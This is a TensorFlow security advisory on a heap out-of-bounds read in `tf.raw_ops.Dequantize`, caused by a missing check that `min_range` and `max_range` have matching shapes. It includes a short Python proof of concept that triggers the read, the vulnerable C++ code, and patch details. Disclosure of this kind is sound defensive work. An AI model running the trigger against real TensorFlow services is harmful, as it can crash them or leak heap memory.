Heap OOB read in `tf.raw_ops.Dequantize`
### Impact
Due to lack of validation in `tf.raw_ops.Dequantize`, an attacker can trigger a read from outside of bounds of heap allocated data:
```python
import tensorflow as tf
input_tensor=tf.constant(
[75, 75, 75, 75, -6, -9, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
-10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
-10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
-10, -10, -10, -10], shape=[5, 10], dtype=tf.int32)
input_tensor=tf.cast(input_tensor, dtype=tf.quint8)
min_range = tf.constant([-10], shape=[1], dtype=tf.float32)
max_range = tf.constant([24, 758, 758, 758, 758], shape=[5], dtype=tf.float32)
tf.raw_ops.Dequantize(
input=input_tensor, min_range=min_range, max_range=max_range, mode='SCALED',
narrow_range=True, axis=0, dtype=tf.dtypes.float32)
```
The implementation
https://github.com/tensorflow/tensorflow/blob/26003593aa94b1742f34dc22ce88a1e17776a67d/tensorflow/core/kernels/dequantize_op.cc#L106-L131 accesses the `min_range` and `max_range` tensors in parallel but fails to check that they have the same shape:
```cc
if (num_slices == 1) {
const float min_range = input_min_tensor.flat<float>()(0);
const float max_range = input_max_tensor.flat<float>()(0);
DequantizeTensor(ctx, input, min_range, max_range, &float_output);
} else {
...
auto min_ranges = input_min_tensor.vec<float>();
auto max_ranges = input_max_tensor.vec<float>();
for (int i = 0; i < num_slices; ++i) {
DequantizeSlice(ctx->eigen_device<Device>(), ctx,
input_tensor.template chip<1>(i), min_ranges(i),
max_ranges(i), output_tensor.template chip<1>(i));
...
}
}
```
### Patches
We have patched the issue in GitHub commit 5899741d0421391ca878da47907b1452f06aaf1b
https://github.com/tensorflow/tensorflow/commit/5899741d0421391ca878da47907b1452f06aaf1b.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.